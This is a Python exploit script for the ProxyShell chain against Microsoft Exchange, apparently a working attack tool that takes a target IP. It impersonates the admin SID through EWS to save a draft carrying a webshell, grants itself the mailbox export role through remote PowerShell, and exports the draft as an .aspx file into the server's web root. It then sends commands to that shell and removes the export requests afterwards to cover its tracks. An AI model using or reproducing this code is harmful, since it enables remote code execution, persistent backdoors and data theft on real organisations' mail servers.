#!/usr/bin/env python3
# Exact Udyz-style trigger: scrambled payload draft -> export .aspx -> POST params exec_code
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def createitem(sidv, subj, payload, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello darkness my old friend</t:Body><t:Attachments><t:FileAttachment><t:Name>FileAttachment.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, payload, mail)

ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=20)
ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def run(s):
    try:
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]
    except Exception as ex: return None, str(ex)

subj = P.rand_string(16)
payload = P.webshell_payload()
r = ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, payload, ps.email), {"Content-Type": "text/xml"})
print("draft:", 'ResponseClass="Success"' in r.text, (r.text[:100] if 'Success' not in r.text else ''))
time.sleep(2)
run('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email); time.sleep(2)
for st in ('Completed','Failed','InProgress'):
    try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
    except Exception: pass
name = "u" + P.rand_string(6) + ".aspx"
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
print("export:", run('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"' % (ps.email, subj, unc))[0])
url = f"https://{ip}/aspnet_client/{name}"
whoami = 'Response.Write(new ActiveXObject("WScript.Shell").Exec("cmd.exe /c whoami&&hostname").StdOut.ReadAll());'
for i in range(8):
    time.sleep(5)
    try:
        g = requests.get(url, verify=False, timeout=20)
        f = requests.post(url, headers={'Content-Type': 'application/x-www-form-urlencoded'}, params={"exec_code": whoami}, verify=False, timeout=25)
        print(f"i={i} GET={g.status_code}/{len(g.content)} POST={f.status_code}/{len(f.content)} magic={f.content[:4]!r}")
        if f.status_code == 200:
            before = f.text.split('!BD')[0]
            print("  BEFORE_!BD:", repr(before[:200]))
            if before.strip():
                print("!!!! SHELL OUTPUT:", before[:200]); break
    except Exception as e:
        print("  err", type(e).__name__, str(e)[:80])
try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
except Exception: pass
print("URL:", url)